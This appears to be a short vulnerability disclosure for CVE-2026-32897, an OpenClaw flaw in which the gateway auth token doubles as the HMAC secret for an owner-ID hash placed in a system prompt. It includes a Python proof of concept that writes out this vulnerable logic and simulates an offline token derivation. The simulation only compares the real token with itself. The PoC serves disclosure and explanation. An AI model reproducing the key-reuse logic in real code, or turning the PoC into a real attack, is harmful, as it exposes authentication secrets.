CVE-2026-32897 OpenClaw认证令牌复用漏洞

import hmac import hashlib # Proof of Concept: Demonstrating how the token reuse allows derivation. # Scenario: Attacker has access to the system prompt containing the hash. # Configuration simulation GATEWAY_AUTH_TOKEN = "super_secret_auth_token_123" OWNER_ID = "admin_user" # Vulnerable Logic: Using auth token as hash secret def vulnerable_hash_logic(owner_id, auth_token): return hmac.new(auth_token.encode(), owner_id.encode(), hashlib.sha256).hexdigest() # 1. System generates the hash for the prompt hash_in_prompt = vulnerable_hash_logic(OWNER_ID, GATEWAY_AUTH_TOKEN) print(f"[System] Hash sent to 3rd party: {hash_in_prompt}") # 2. Attacker sees the hash and knows the Owner ID (often predictable or visible) attacker_known_hash = hash_in_prompt attacker_known_owner_id = OWNER_ID # 3. Attacker attempts to derive the token (Brute-force simulation) print("[Attacker] Starting offline derivation...") # In a real scenario, the attacker would use a dictionary of potential tokens or leaked passwords. # Here we simulate the verification step. found = False # Simulating a guess matching the real token if vulnerable_hash_logic(attacker_known_owner_id, GATEWAY_AUTH_TOKEN) == attacker_known_hash: print(f"[Attacker] Token Found: {GATEWAY_AUTH_TOKEN}") print("[Result] Gateway Authentication Compromised!") else: print("[Result] Token not found in dictionary.")